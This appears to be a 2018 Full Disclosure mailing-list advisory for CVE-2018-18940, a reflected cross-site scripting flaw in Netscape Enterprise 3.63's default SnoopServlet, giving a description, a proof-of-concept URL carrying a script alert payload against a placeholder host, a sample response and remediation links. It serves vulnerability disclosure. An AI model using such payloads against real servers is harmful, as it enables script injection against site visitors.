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Date: Tue, 6 Nov 2018 07:51:32 +0100 From: Rafael Pedrero <rafael.pedrero@...il.com> To: fulldisclosure@...lists.org, oss-security@...ts.openwall.net Subject: [FD] [CVE-2018-18940] Cross Site Scripting in default SnoopServlet servlet Netscape Enterprise 3.63 Some time ago I discovered some vulnerabilities and did not report them over 2003 to 2010, the time came, better late than never :-D <!-- # Exploit Title: Cross Site Scripting in default SnoopServlet servlet Netscape Enterprise 3.63 # Date: 05-11-2018 # Exploit Author: Rafael Pedrero # Vendor Homepage: https://en.wikipedia.org/wiki/Netscape # Software Link: https://en.wikipedia.org/wiki/Netscape # Version: Netscape Enterprise 3.63 # Tested on: all # CVE : CVE-2018-18940 # Category: webapps 1. Description The servlet/SnoopServlet (a servlet installed by default) in Netscape Enterprise 3.63 has reflected XSS via an arbitrary parameter=[XSS] in the query string. A remote unauthenticated attacker could potentially exploit this vulnerability to supply malicious HTML or JavaScript code to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. 2. Proof of Concept http://X.X.X.X/servlet/SnoopServlet?XSS=<script>alert("XSS")</script> The server response: > Request URL: > > http://X.X.X.X/servlet/SnoopServlet > > Request information: > > Request method: GET > Request URI: /servlet/SnoopServlet > Request protocol: HTTP/1.1 > Servlet path: /servlet/SnoopServlet > Path info: <none> > Path translated: /PATHINSTALLED/netsrv2/AccessService/enterprise3.63/doc/ > Query string: PARAM=[XSS] 3. Solution: The product is discontinued. Update to last version this product. See more in https://en.wikipedia.org/wiki/Netscape Patch: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules --> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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